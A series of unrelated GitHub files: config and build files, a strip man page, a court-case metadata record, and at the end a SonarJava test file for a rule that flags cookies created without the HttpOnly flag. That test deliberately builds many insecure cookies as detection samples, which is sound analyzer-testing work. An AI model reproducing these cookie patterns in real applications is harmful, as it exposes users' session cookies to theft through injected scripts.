<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="WebGrease" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Helpers" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.WebPages" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Mvc" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Http" publicKeyToken="31bf3856ad364e35" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>
| {
"pile_set_name": "Github"
} |
.\" Copyright (c) 2011 Joseph Koshy. All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\"
.\" THIS SOFTWARE IS PROVIDED BY JOSEPH KOSHY ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL JOSEPH KOSHY BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" $Id: strip.1 3642 2018-10-14 14:24:28Z jkoshy $
.\"
.Dd July 27, 2019
.Dt STRIP 1
.Os
.Sh NAME
.Nm strip
.Nd discard information from ELF objects
.Sh SYNOPSIS
.Nm
.Op Fl d | Fl g | Fl S | Fl -strip-debug
.Op Fl h | Fl -help
.Op Fl -only-keep-debug
.Op Fl o Ar outputfile | Fl -output-file= Ns Ar outputfile
.Op Fl p | Fl -preserve-dates
.Op Fl s | Fl -strip-all
.Op Fl -strip-unneeded
.Op Fl w | Fl -wildcard
.Op Fl x | Fl -discard-all
.Op Fl I Ar format | Fl -input-target= Ns Ar format
.Op Fl K Ar symbol | Fl -keep-symbol= Ns Ar symbol
.Op Fl N Ar symbol | Fl -strip-symbol= Ns Ar symbol
.Op Fl O Ar format | Fl -output-target= Ns Ar format
.Op Fl R Ar sectionname | Fl -remove-section= Ns Ar sectionname
.Op Fl V | Fl -version
.Op Fl X | Fl -discard-locals
.Ar
.Sh DESCRIPTION
The
.Nm
utility is used to discard information from the ELF objects
specified by the arguments
.Ar .
.Pp
If an explicit output file name is not specified using the
.Fl o
option, the
.Nm
utility will modify its input arguments in-place.
.Pp
The
.Nm
utility supports the following options:
.Bl -tag -width indent
.It Fl d | Fl g | Fl S | Fl -strip-debug
Remove debugging symbols only.
.It Fl h | Fl -help
Print a help message and exit.
.It Fl -only-keep-debug
Remove all content except that which would be used for debugging.
.It Fl o Ar outputfile | Fl -output-file= Ns Ar outputfile
Write the stripped object to file
.Ar outputfile
instead of modifying the input in-place.
Only a single input object should be specified if this option is used.
.It Fl p | Fl -preserve-dates
Preserve the object's access and modification times.
.It Fl s | Fl -strip-all
Remove all symbols.
.It Fl -strip-unneeded
Remove all symbols not needed for further relocation processing.
.It Fl w | Fl -wildcard
Use shell-style patterns to name symbols.
The following meta-characters are recognized in patterns:
.Bl -tag -width "...." -compact
.It Li !
If this is the first character of the pattern, invert the sense of the
pattern match.
.It Li *
Matches any string of characters in a symbol name.
.It Li ?
Matches zero or one character in a symbol name.
.It Li [
Mark the start of a character class.
.It Li \e
Remove the special meaning of the next character in the pattern.
.It Li ]
Mark the end of a character class.
.El
.It Fl x | Fl -discard-all
Discard all non-global symbols.
.It Fl I Ar format | Fl -input-target= Ns Ar format
These options are accepted, but are ignored.
.It Fl K Ar symbol | Fl -keep-symbol= Ns Ar symbol
Keep the symbol
.Ar symbol
even if it would otherwise be stripped.
This option may be specified multiple times.
.It Fl N Ar symbol | Fl -strip-symbol= Ns Ar symbol
Remove the symbol
.Ar symbol
even if it would otherwise have been kept.
This option may be specified multiple times.
.It Fl O Ar format | Fl -output-target= Ns Ar format
Set the output file format to
.Ar format .
For the full list of supported formats, please see the documentation
for function
.Xr elftc_bfd_find_target 3 .
.It Fl R Ar sectionname | Fl -remove-section= Ns Ar sectionname
Remove the section named by the argument
.Ar sectionname .
This option may be specified multiple times.
.It Fl V | Fl -version
Print a version identifier and exit.
.It Fl X | Fl -discard-locals
Remove compiler-generated local symbols.
.El
.Sh DIAGNOSTICS
.Ex -std
.Sh SEE ALSO
.Xr ar 1 ,
.Xr elfcopy 1 ,
.Xr ld 1 ,
.Xr mcs 1 ,
.Xr elf 3 ,
.Xr elftc_bfd_find_target 3 ,
.Xr fnmatch 3
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\..\..\example\oglplus\024_simple_picking.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project> | {
"pile_set_name": "Github"
} |
namespace MyTested.AspNetCore.Mvc
{
using System.Collections;
using System.Collections.Generic;
using Utilities.Validators;
/// <summary>
/// Class used for specifying additional assertions for the action attributes.
/// </summary>
public class ActionAttributes : IEnumerable<object>
{
private readonly IEnumerable<object> attributes;
public ActionAttributes(IEnumerable<object> attributes)
{
CommonValidator.CheckForNullReference(attributes, nameof(ActionAttributes));
this.attributes = attributes;
}
public IEnumerator<object> GetEnumerator() => this.attributes.GetEnumerator();
IEnumerator IEnumerable.GetEnumerator() => this.GetEnumerator();
}
} | {
"pile_set_name": "Github"
} |
<mods xmlns="http://www.loc.gov/mods/v3" xmlns:exslt="http://exslt.org/common" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.loc.gov/mods/v3 http://www.loc.gov/standards/mods/v3/mods-3-3.xsd" version="3.3" ID="P0b002ee18a8bde63">
<name type="corporate">
<namePart>United States Government Printing Office</namePart>
<role>
<roleTerm type="text" authority="marcrelator">printer</roleTerm>
<roleTerm type="code" authority="marcrelator">prt</roleTerm>
</role>
<role>
<roleTerm type="text" authority="marcrelator">distributor</roleTerm>
<roleTerm type="code" authority="marcrelator">dst</roleTerm>
</role>
</name>
<name type="corporate">
<namePart>United States</namePart>
<namePart>United States District Court Eastern District of California</namePart>
<role>
<roleTerm type="text" authority="marcrelator">author</roleTerm>
<roleTerm type="code" authority="marcrelator">aut</roleTerm>
</role>
<description>Government Organization</description>
</name>
<typeOfResource>text</typeOfResource>
<genre authority="marcgt">government publication</genre>
<language>
<languageTerm authority="iso639-2b" type="code">eng</languageTerm>
</language>
<extension>
<collectionCode>USCOURTS</collectionCode>
<category>Judicial Publications</category>
<branch>judicial</branch>
<dateIngested>2015-01-07</dateIngested>
</extension>
<originInfo>
<publisher>Administrative Office of the United States Courts</publisher>
<dateIssued encoding="w3cdtf">2015-01-06</dateIssued>
<issuance>monographic</issuance>
</originInfo>
<physicalDescription>
<note type="source content type">deposited</note>
<digitalOrigin>born digital</digitalOrigin>
</physicalDescription>
<classification authority="sudocs">JU 4.15</classification>
<identifier type="uri">http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462</identifier>
<identifier type="local">P0b002ee18a8bde63</identifier>
<recordInfo>
<recordContentSource authority="marcorg">DGPO</recordContentSource>
<recordCreationDate encoding="w3cdtf">2015-01-07</recordCreationDate>
<recordChangeDate encoding="w3cdtf">2015-01-07</recordChangeDate>
<recordIdentifier source="DGPO">USCOURTS-caed-1_13-cv-00462</recordIdentifier>
<recordOrigin>machine generated</recordOrigin>
<languageOfCataloging>
<languageTerm authority="iso639-2b" type="code">eng</languageTerm>
</languageOfCataloging>
</recordInfo>
<accessCondition type="GPO scope determination">fdlp</accessCondition>
<extension>
<docClass>USCOURTS</docClass>
<accessId>USCOURTS-caed-1_13-cv-00462</accessId>
<courtType>District</courtType>
<courtCode>caed</courtCode>
<courtCircuit>9th</courtCircuit>
<courtState>California</courtState>
<courtSortOrder>2061</courtSortOrder>
<caseNumber>1:13-cv-00462</caseNumber>
<caseOffice>Fresno</caseOffice>
<caseType>civil</caseType>
<natureSuitCode>550</natureSuitCode>
<natureSuit>Prisoner - Civil Rights (U.S. defendant)</natureSuit>
<cause>42:1983 Prisoner Civil Rights</cause>
<party firstName="Natalie" fullName="Natalie Clark" lastName="Clark" role="Defendant"></party>
<party firstName="Scott" fullName="Scott Folks" lastName="Folks" role="Defendant"></party>
<party firstName="Connie" fullName="Connie Gipson" lastName="Gipson" role="Defendant"></party>
<party firstName="Deandre" fullName="Deandre Shepard" lastName="Shepard" role="Plaintiff"></party>
</extension>
<titleInfo>
<title>(PC) Shepard v. Clark et al</title>
<partNumber>1:13-cv-00462</partNumber>
</titleInfo>
<location>
<url access="object in context" displayLabel="Content Detail">http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/content-detail.html</url>
</location>
<classification authority="sudocs">JU 4.15</classification>
<identifier type="preferred citation">1:13-cv-00462;13-462</identifier>
<name type="corporate">
<namePart>United States District Court Eastern District of California</namePart>
<namePart>9th Circuit</namePart>
<namePart>Fresno</namePart>
<affiliation>U.S. Courts</affiliation>
<role>
<roleTerm authority="marcrelator" type="text">author</roleTerm>
<roleTerm authority="marcrelator" type="code">aut</roleTerm>
</role>
</name>
<name type="personal">
<displayForm>Natalie Clark</displayForm>
<namePart type="family">Clark</namePart>
<namePart type="given">Natalie</namePart>
<namePart type="termsOfAddress"></namePart>
<description>Defendant</description>
</name>
<name type="personal">
<displayForm>Scott Folks</displayForm>
<namePart type="family">Folks</namePart>
<namePart type="given">Scott</namePart>
<namePart type="termsOfAddress"></namePart>
<description>Defendant</description>
</name>
<name type="personal">
<displayForm>Connie Gipson</displayForm>
<namePart type="family">Gipson</namePart>
<namePart type="given">Connie</namePart>
<namePart type="termsOfAddress"></namePart>
<description>Defendant</description>
</name>
<name type="personal">
<displayForm>Deandre Shepard</displayForm>
<namePart type="family">Shepard</namePart>
<namePart type="given">Deandre</namePart>
<namePart type="termsOfAddress"></namePart>
<description>Plaintiff</description>
</name>
<extension>
<docClass>USCOURTS</docClass>
<accessId>USCOURTS-caed-1_13-cv-00462</accessId>
<courtType>District</courtType>
<courtCode>caed</courtCode>
<courtCircuit>9th</courtCircuit>
<courtState>California</courtState>
<courtSortOrder>2061</courtSortOrder>
<caseNumber>1:13-cv-00462</caseNumber>
<caseOffice>Fresno</caseOffice>
<caseType>civil</caseType>
<natureSuitCode>550</natureSuitCode>
<natureSuit>Prisoner - Civil Rights (U.S. defendant)</natureSuit>
<cause>42:1983 Prisoner Civil Rights</cause>
<party firstName="Natalie" fullName="Natalie Clark" lastName="Clark" role="Defendant"></party>
<party firstName="Scott" fullName="Scott Folks" lastName="Folks" role="Defendant"></party>
<party firstName="Connie" fullName="Connie Gipson" lastName="Gipson" role="Defendant"></party>
<party firstName="Deandre" fullName="Deandre Shepard" lastName="Shepard" role="Plaintiff"></party>
<state>California</state>
</extension>
<relatedItem type="constituent" ID="id-USCOURTS-caed-1_13-cv-00462-0" xlink:href="http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-0/mods.xml">
<titleInfo>
<title>(PC) Shepard v. Clark et al</title>
<subTitle>ORDER DENYING 3 Motion to Appoint Counsel signed by Magistrate Judge Barbara A. McAuliffe on 4/1/2013. (Sant Agata, S)</subTitle>
<partNumber>0</partNumber>
</titleInfo>
<originInfo>
<dateIssued>2013-04-01</dateIssued>
</originInfo>
<relatedItem type="otherFormat" xlink:href="http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-0.pdf">
<identifier type="FDsys Unique ID">D09002ee18a8c4e9d</identifier>
</relatedItem>
<identifier type="uri">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-0</identifier>
<identifier type="former granule identifier">caed-1_13-cv-00462_0.pdf</identifier>
<location>
<url access="object in context" displayLabel="Content Detail">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-0/content-detail.html</url>
<url access="raw object" displayLabel="PDF rendition">http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-0.pdf</url>
</location>
<extension>
<searchTitle>USCOURTS 1:13-cv-00462; (PC) Shepard v. Clark et al; </searchTitle>
<courtName>United States District Court Eastern District of California</courtName>
<state>California</state>
<accessId>USCOURTS-caed-1_13-cv-00462-0</accessId>
<sequenceNumber>0</sequenceNumber>
<dateIssued>2013-04-01</dateIssued>
<docketText>ORDER DENYING 3 Motion to Appoint Counsel signed by Magistrate Judge Barbara A. McAuliffe on 4/1/2013. (Sant Agata, S)</docketText>
</extension>
</relatedItem>
<relatedItem type="constituent" ID="id-USCOURTS-caed-1_13-cv-00462-1" xlink:href="http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-1/mods.xml">
<titleInfo>
<title>(PC) Shepard v. Clark et al</title>
<subTitle>ORDER Denying Plaintiff's 10 Motion for Reconsideration of Motion for Appointment of Counsel signed by Magistrate Judge Barbara A. McAuliffe on 02/10/2014. (Flores, E)</subTitle>
<partNumber>1</partNumber>
</titleInfo>
<originInfo>
<dateIssued>2014-02-10</dateIssued>
</originInfo>
<relatedItem type="otherFormat" xlink:href="http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-1.pdf">
<identifier type="FDsys Unique ID">D09002ee18a8c4e9b</identifier>
</relatedItem>
<identifier type="uri">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-1</identifier>
<identifier type="former granule identifier">caed-1_13-cv-00462_1.pdf</identifier>
<location>
<url access="object in context" displayLabel="Content Detail">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-1/content-detail.html</url>
<url access="raw object" displayLabel="PDF rendition">http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-1.pdf</url>
</location>
<extension>
<searchTitle>USCOURTS 1:13-cv-00462; (PC) Shepard v. Clark et al; </searchTitle>
<courtName>United States District Court Eastern District of California</courtName>
<state>California</state>
<accessId>USCOURTS-caed-1_13-cv-00462-1</accessId>
<sequenceNumber>1</sequenceNumber>
<dateIssued>2014-02-10</dateIssued>
<docketText>ORDER Denying Plaintiff's 10 Motion for Reconsideration of Motion for Appointment of Counsel signed by Magistrate Judge Barbara A. McAuliffe on 02/10/2014. (Flores, E)</docketText>
</extension>
</relatedItem>
<relatedItem type="constituent" ID="id-USCOURTS-caed-1_13-cv-00462-2" xlink:href="http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-2/mods.xml">
<titleInfo>
<title>(PC) Shepard v. Clark et al</title>
<subTitle>SCREENING ORDER DISMISSING COMPLAINT WITH LEAVE TO AMEND 1, signed by Magistrate Judge Barbara A. McAuliffe on 8/11/14: Thirty-Day Deadline. (Attachments: # (1) Amended Complaint - blank form)(Hellings, J)</subTitle>
<partNumber>2</partNumber>
</titleInfo>
<originInfo>
<dateIssued>2014-08-11</dateIssued>
</originInfo>
<relatedItem type="otherFormat" xlink:href="http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-2.pdf">
<identifier type="FDsys Unique ID">D09002ee18a8c4e9c</identifier>
</relatedItem>
<identifier type="uri">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-2</identifier>
<identifier type="former granule identifier">caed-1_13-cv-00462_2.pdf</identifier>
<location>
<url access="object in context" displayLabel="Content Detail">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-2/content-detail.html</url>
<url access="raw object" displayLabel="PDF rendition">http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-2.pdf</url>
</location>
<extension>
<searchTitle>USCOURTS 1:13-cv-00462; (PC) Shepard v. Clark et al; </searchTitle>
<courtName>United States District Court Eastern District of California</courtName>
<state>California</state>
<accessId>USCOURTS-caed-1_13-cv-00462-2</accessId>
<sequenceNumber>2</sequenceNumber>
<dateIssued>2014-08-11</dateIssued>
<docketText>SCREENING ORDER DISMISSING COMPLAINT WITH LEAVE TO AMEND 1, signed by Magistrate Judge Barbara A. McAuliffe on 8/11/14: Thirty-Day Deadline. (Attachments: # (1) Amended Complaint - blank form)(Hellings, J)</docketText>
</extension>
</relatedItem>
<relatedItem type="constituent" ID="id-USCOURTS-caed-1_13-cv-00462-3" xlink:href="http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-3/mods.xml">
<titleInfo>
<title>(PC) Shepard v. Clark et al</title>
<subTitle>ORDER DISMISSING ACTION for Failure to State a Claim signed by Magistrate Judge Barbara A. McAuliffe on 1/5/2015. CASE CLOSED. (Jessen, A)</subTitle>
<partNumber>3</partNumber>
</titleInfo>
<originInfo>
<dateIssued>2015-01-06</dateIssued>
</originInfo>
<relatedItem type="otherFormat" xlink:href="http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-3.pdf">
<identifier type="FDsys Unique ID">D09002ee18a8c4e9e</identifier>
</relatedItem>
<identifier type="uri">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-3</identifier>
<identifier type="former granule identifier">caed-1_13-cv-00462_3.pdf</identifier>
<location>
<url access="object in context" displayLabel="Content Detail">http://www.gpo.gov/fdsys/granule/USCOURTS-caed-1_13-cv-00462/USCOURTS-caed-1_13-cv-00462-3/content-detail.html</url>
<url access="raw object" displayLabel="PDF rendition">http://www.gpo.gov/fdsys/pkg/USCOURTS-caed-1_13-cv-00462/pdf/USCOURTS-caed-1_13-cv-00462-3.pdf</url>
</location>
<extension>
<searchTitle>USCOURTS 1:13-cv-00462; (PC) Shepard v. Clark et al; </searchTitle>
<courtName>United States District Court Eastern District of California</courtName>
<state>California</state>
<accessId>USCOURTS-caed-1_13-cv-00462-3</accessId>
<sequenceNumber>3</sequenceNumber>
<dateIssued>2015-01-06</dateIssued>
<docketText>ORDER DISMISSING ACTION for Failure to State a Claim signed by Magistrate Judge Barbara A. McAuliffe on 1/5/2015. CASE CLOSED. (Jessen, A)</docketText>
</extension>
</relatedItem>
</mods> | {
"pile_set_name": "Github"
} |
{
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
package checks.security;
import java.net.HttpCookie;
import java.util.Date;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import javax.ws.rs.core.NewCookie;
import org.apache.shiro.web.servlet.SimpleCookie;
import org.springframework.security.web.savedrequest.SavedCookie;
class CookieHttpOnlyCheck {
private static final boolean FALSE_CONSTANT = false;
private static final String XSRF_TOKEN = "XSRF-TOKEN";
play.mvc.Http.CookieBuilder xsfrTokenProp;
Cookie field1 = new Cookie("name", "value"); // FN
HttpCookie field2 = new HttpCookie("name", "value"); // FN
javax.ws.rs.core.Cookie field3 = new javax.ws.rs.core.Cookie("name", "value"); // FN
Cookie field4;
HttpCookie field5;
Cookie field6;
void servletCookie(boolean param, Cookie c0) {
c0.setHttpOnly(false); // Noncompliant [[sc=19;ec=26]] {{Make sure creating this cookie without the "HttpOnly" flag is safe.}}
field6.setHttpOnly(false); // Noncompliant
Cookie c1 = new Cookie("name", "value");
if (param) {
c1.setHttpOnly(false); // Noncompliant
}
else {
c1.setHttpOnly(true);
}
Cookie c2 = new Cookie("name", "value"); // Noncompliant [[sc=21;ec=27]]
Cookie c3 = new Cookie("name", "value");
c3.setHttpOnly(false); // Noncompliant
Cookie c4 = new Cookie("name", "value");
c4.setHttpOnly(FALSE_CONSTANT); // Noncompliant
Cookie c5 = new Cookie("name", "value");
boolean b = false;
c5.setHttpOnly(b); // Noncompliant
Cookie c6 = new Cookie("name", "value");
c6.setHttpOnly(param);
Object c8 = new Cookie("name", "value"); // Noncompliant
Cookie c9;
c9 = new Cookie("name", "value");
c9.setHttpOnly(false); // Noncompliant
Cookie c10;
c10 = new Cookie("name", "value"); // Noncompliant
Cookie c11;
c11 = new Cookie("name", "value");
c11.setHttpOnly(true);
Object c12;
c12 = new Cookie("name", "value"); // Noncompliant
Cookie c14 = new Cookie("name", "value");
boolean bValue = true;
c14.setHttpOnly(!bValue); // FN
}
Cookie getC1() {
return new Cookie("name", "value"); // Noncompliant [[sc=16;ec=22]]
}
Cookie returnHttpCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("name", "value"); // Noncompliant
response.addCookie(new Cookie("name", "value")); // Noncompliant
return new Cookie("name", "value"); // Noncompliant
}
public HttpCookie getCookie() {
return null;
}
void httpCookie() {
HttpCookie cookie = getCookie();
if (cookie == null) {
cookie = new HttpCookie("name", "value"); // Noncompliant
}
HttpCookie c1 = new HttpCookie("name", "value");
c1.setHttpOnly(true);
HttpCookie c2 = new HttpCookie("name", "value"); // Noncompliant
HttpCookie c3 = new HttpCookie("name", "value");
c3.setHttpOnly(false); // Noncompliant
HttpCookie c4 = new HttpCookie("name", "value");
c4.setHttpOnly(FALSE_CONSTANT); // Noncompliant
HttpCookie c5;
c5 = new HttpCookie("name", "value");
c5.setHttpOnly(false); // Noncompliant
}
HttpCookie getC2() {
return new HttpCookie("name", "value"); // Noncompliant
}
void jaxRsCookie() {
javax.ws.rs.core.Cookie c1 = new javax.ws.rs.core.Cookie("name", "value"); // Noncompliant
javax.ws.rs.core.Cookie c2 = new javax.ws.rs.core.Cookie("name", "value", "path", "domain"); // Noncompliant
}
void jaxRsNewCookie(javax.ws.rs.core.Cookie cookie) {
NewCookie c1 = new NewCookie("name", "value", "path", "domain", "comment", 1, true); // Noncompliant
NewCookie c2 = new NewCookie(cookie, "comment", 2, true); // Noncompliant
NewCookie c3 = new NewCookie(cookie); // Noncompliant
NewCookie c4 = new NewCookie(cookie, "c", 1, true); // Noncompliant
NewCookie c5 = new NewCookie(cookie, "c", 1, new Date(), false, true); // last param is HttpOnly
NewCookie c6 = new NewCookie("1", "2", "3", "4", 5, "6", 7, new Date(), false, true);
NewCookie c7 = new NewCookie("1", "2", "3", "4", "5", 6, false, true);
}
NewCookie getC3() {
return new NewCookie("name", "value", "path", "domain", "comment", 1, true); // Noncompliant
}
void apacheShiro(SimpleCookie unknownCookie) {
SimpleCookie c1 = new SimpleCookie(unknownCookie); // Noncompliant
SimpleCookie c2 = new SimpleCookie();
c2.setHttpOnly(false); // Noncompliant
SimpleCookie c3 = new SimpleCookie(); // Apache Shiro cookies have HttpOnly 'true' value by default
SimpleCookie c4 = new SimpleCookie("name");
}
SimpleCookie getC4() {
return new SimpleCookie(); // compliant
}
void playFw(play.mvc.Http.Cookie.SameSite sameSite) {
play.mvc.Http.Cookie c1 = new play.mvc.Http.Cookie("1", "2", 3, "4", "5", true, false); // Noncompliant
play.mvc.Http.Cookie c2 = new play.mvc.Http.Cookie("1", "2", 3, "4", "5", true, true);
play.mvc.Http.Cookie c21 = new play.mvc.Http.Cookie("1", "2", 3, "4", "5", true, false, sameSite); // Noncompliant
play.mvc.Http.Cookie c22 = new play.mvc.Http.Cookie("1", "2", 3, "4", "5", true, true, sameSite);
play.mvc.Http.CookieBuilder cb1 = play.mvc.Http.Cookie.builder("1", "2");
cb1.withHttpOnly(false); // Noncompliant
cb1.withHttpOnly(true); // is ignored, so above is a FN
play.mvc.Http.CookieBuilder cb2 = play.mvc.Http.Cookie.builder("1", "2");
cb2.withHttpOnly(true);
play.mvc.Http.Cookie.builder("1", "2")
.withMaxAge(1)
.withPath("x")
.withDomain("x")
.withSecure(true)
.withHttpOnly(false) // Noncompliant
.build();
play.mvc.Http.Cookie.builder("theme", "blue").withHttpOnly(true);
}
play.mvc.Http.Cookie getC5() {
return new play.mvc.Http.Cookie("1", "2", 3, "4", "5", true, false); // Noncompliant
}
play.mvc.Http.CookieBuilder getC6() {
return play.mvc.Http.Cookie.builder("theme", "blue").withHttpOnly(false); // Noncompliant
}
// SONARJAVA-2772
Cookie xsfrToken() {
String cookieName = "XSRF-TOKEN";
Cookie xsfrToken = new Cookie("XSRF-TOKEN", "value"); // OK, used to implement XSRF
xsfrToken.setHttpOnly(false);
Cookie xsfrToken2 = new Cookie("XSRF-TOKEN", "value");
xsfrToken2.setHttpOnly(true);
Cookie xsfrToken3 = new Cookie("XSRF-TOKEN", "value");
Cookie xsfrToken4 = new Cookie(XSRF_TOKEN, "value");
HttpCookie xsfrToken5 = new HttpCookie("XSRF-TOKEN", "value");
javax.ws.rs.core.Cookie xsfrToken6 = new javax.ws.rs.core.Cookie("XSRF-TOKEN", "value");
NewCookie xsfrToken7 = new NewCookie("XSRF-TOKEN", "value", "path", "domain", "comment", 1, true);
SimpleCookie xsfrToken8 = new SimpleCookie("XSRF-TOKEN");
play.mvc.Http.Cookie xsfrToken9 = new play.mvc.Http.Cookie("XSRF-TOKEN", "2", 3, "4", "5", true, false);
play.mvc.Http.Cookie.builder("XSRF-TOKEN", "2")
.withMaxAge(1)
.withPath("x")
.withDomain("x")
.withSecure(true)
.withHttpOnly(false)
.build();
play.mvc.Http.CookieBuilder xsfrToken10;
xsfrToken10 = play.mvc.Http.Cookie.builder("XSRF-TOKEN", "2");
xsfrToken10.withHttpOnly(false);
play.mvc.Http.CookieBuilder xsfrToken11 = play.mvc.Http.Cookie.builder("XSRF-TOKEN", "2");
xsfrToken11.withHttpOnly(false);
Cookie xsfrToken12 = new Cookie("CSRFToken", "value");
xsfrToken12.setHttpOnly(false);
Cookie xsfrToken13 = new Cookie("Csrf-token", "value");
xsfrToken13.setHttpOnly(false);
this.xsfrTokenProp = play.mvc.Http.Cookie.builder("XSRF-TOKEN", "2");
this.xsfrTokenProp.withHttpOnly(false);
return new Cookie("XSRF-TOKEN", "value");
}
void compliant(Cookie c1, HttpCookie c2, NewCookie c4, SimpleCookie c5) {
c1.isHttpOnly();
c2.isHttpOnly();
c4.isHttpOnly();
c5.isHttpOnly();
SavedCookie c6 = new SavedCookie(c1); // Spring cookies are HttpOnly, without possibility to change that
SavedCookie c7 = new SavedCookie("n", "v", "c", "d", 1, "p", false, 1);
}
SavedCookie getC7() {
return new SavedCookie("n", "v", "c", "d", 1, "p", false, 1); // compliant
}
}
class CookieHttpOnlyCheckCookieA extends Cookie {
public Cookie c;
public CookieHttpOnlyCheckCookieA() {
super("name", "value");
}
public void setHttpOnly(boolean isHttpOnly) { }
void foo() {
setHttpOnly(false); // Noncompliant
}
void bar(boolean x) {
setHttpOnly(x);
}
void baz() {
setHttpOnly(true);
}
}
class CookieHttpOnlyCheckCookieB {
CookieHttpOnlyCheckCookieA a;
public void setHttpOnly(boolean isHttpOnly) { }
void foo() {
setHttpOnly(false);
}
void bar() { return; }
CookieHttpOnlyCheckCookieA getA() {
return new CookieHttpOnlyCheckCookieA(); // Noncompliant
}
void baw() {
int i;
i = 1;
a.c = new Cookie("1", "2"); // FN
}
